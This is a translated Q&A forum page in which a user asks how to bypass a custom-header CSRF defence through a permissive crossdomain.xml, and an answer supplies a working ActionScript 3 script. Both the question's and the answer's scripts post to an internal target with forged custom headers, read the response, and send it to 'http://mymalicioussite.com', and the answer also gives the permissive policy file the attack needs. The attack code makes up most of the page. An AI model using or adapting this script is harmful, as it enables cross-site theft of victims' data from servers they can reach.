通过弱 CrossDomain.xml 使用 ActionScript 绕过 CSRF

Posted

技术标签:

【中文标题】通过弱 CrossDomain.xml 使用 ActionScript 绕过 CSRF【英文标题】:CSRF Bypass using ActionScript via weak CrossDomain.xml 【发布时间】:2017-08-18 22:30:37 【问题描述】:

我有一个具有弱 CrossDomain.xml 的目标,但它可以防止 CSRF 攻击查看自定义 HTTP 标头之一。我在几个网站上发现了以下动作脚本,除了没有设置标题之外,它运行良好。

此操作脚本向“Target.htm”发送一个 POST 请求,我需要它来设置任何自定义标头,例如 Test-Header:

package 
    import flash.display.Sprite;
    import flash.events.*;
    import flash.net.URLRequestMethod;
    import flash.net.URLRequest;
    import flash.net.URLLoader;
    import flash.net.URLVariables;
    import flash.net.URLRequestHeader;

    public class FlashTest extends Sprite 

        public function FlashTest() 
            // write as3 code here..
            //Target URL           
            var header:URLRequestHeader = new URLRequestHeader("Test-Header", "Test123");
            var readFrom:String = "http://192.168.100.4/Target.htm";
            var readRequest:URLRequest = new URLRequest(readFrom);
            readRequest.data  = "ThisDoesNotMatter"
            readRequest.method = URLRequestMethod.POST
            readRequest.requestHeaders.push(header);
            var getLoader:URLLoader = new URLLoader();
            getLoader.addEventListener(Event.COMPLETE, eventHandler);
            try
            
                getLoader.load(readRequest);
            
            catch(error:Error)
            

            
        

        private function eventHandler(event:Event):void
        
            var sendTO:String = "http://mymalicioussite.com";
            var sendRequest:URLRequest = new URLRequest(sendTO);
            sendRequest.method = URLRequestMethod.POST;
            sendRequest.data = event.target.data;
            var sendLoader:URLLoader = new URLLoader();
            try
            
                sendLoader.load(sendRequest);
            
            catch(error:Error)
            

            
          
        
      

目标上的CrossDomain.XML:

    <?xml version="1.0"?>

<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
   <allow-access-from domain="*" secure="true" />
</cross-domain-policy>

任何帮助将不胜感激。 带有 GET 请求而不是 POST 的工作代码也可以作为目标同时接受 GET 和 POST 请求。据我所知,仅允许使用 POST 请求设置自定义标头,但带有任何标准 HTTP 标头的 GET 请求至少现在对我有用。

【问题讨论】:

【参考方案1】:

在执行了一些测试之后,我能够修改上述脚本以设置任何自定义标头(浏览器不允许的 Referer 和 User-Agent 标头除外):

另外,这仅在目标和攻击机器应具有以下 crossdomain.xml 时才有效:

<?xml version="1.0"?>

<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-
domain-policy.dtd">
<cross-domain-policy>
 <allow-access-from domain="*" secure="false"  />
 <allow-http-request-headers-from domain="*" headers="*" secure="false"/>
</cross-domain-policy>

这是对我有用的 AS3 脚本:

package 
import flash.display.Sprite;
import flash.events.*;
import flash.net.URLRequestMethod;
import flash.net.URLRequest;
import flash.net.URLLoader;
import flash.net.URLVariables;
import flash.net.URLRequestHeader;

public class FlashTest extends Sprite 

    public function FlashTest() 
        // write as3 code here..

        //Set Header
        var headers:Array = [new URLRequestHeader("TestHeader", "Test123")];

        //Target URL           
        var readFrom:String = "http://192.168.253.133/Target.htm";
        var readRequest:URLRequest = new URLRequest(readFrom);
        readRequest.requestHeaders = headers;
        readRequest.data  = "ThisDoesNotMatter" //POST data
        readRequest.method = URLRequestMethod.POST
        //readRequest.requestHeaders.push();
        var getLoader:URLLoader = new URLLoader();
        getLoader.addEventListener(Event.COMPLETE, eventHandler);
        try
        
            getLoader.load(readRequest);
        
        catch(error:Error)
        

        
    

    private function eventHandler(event:Event):void
    
        var sendTO:String = "http://mymalicioussite.com";
        var sendRequest:URLRequest = new URLRequest(sendTO);
        sendRequest.method = URLRequestMethod.POST;
        sendRequest.data = event.target.data;
        var sendLoader:URLLoader = new URLLoader();
        try
        
            sendLoader.load(sendRequest);
        
        catch(error:Error)
        

        
      
    
//package 

【讨论】:

以上是关于通过弱 CrossDomain.xml 使用 ActionScript 绕过 CSRF的主要内容,如果未能解决你的问题,请参考以下文章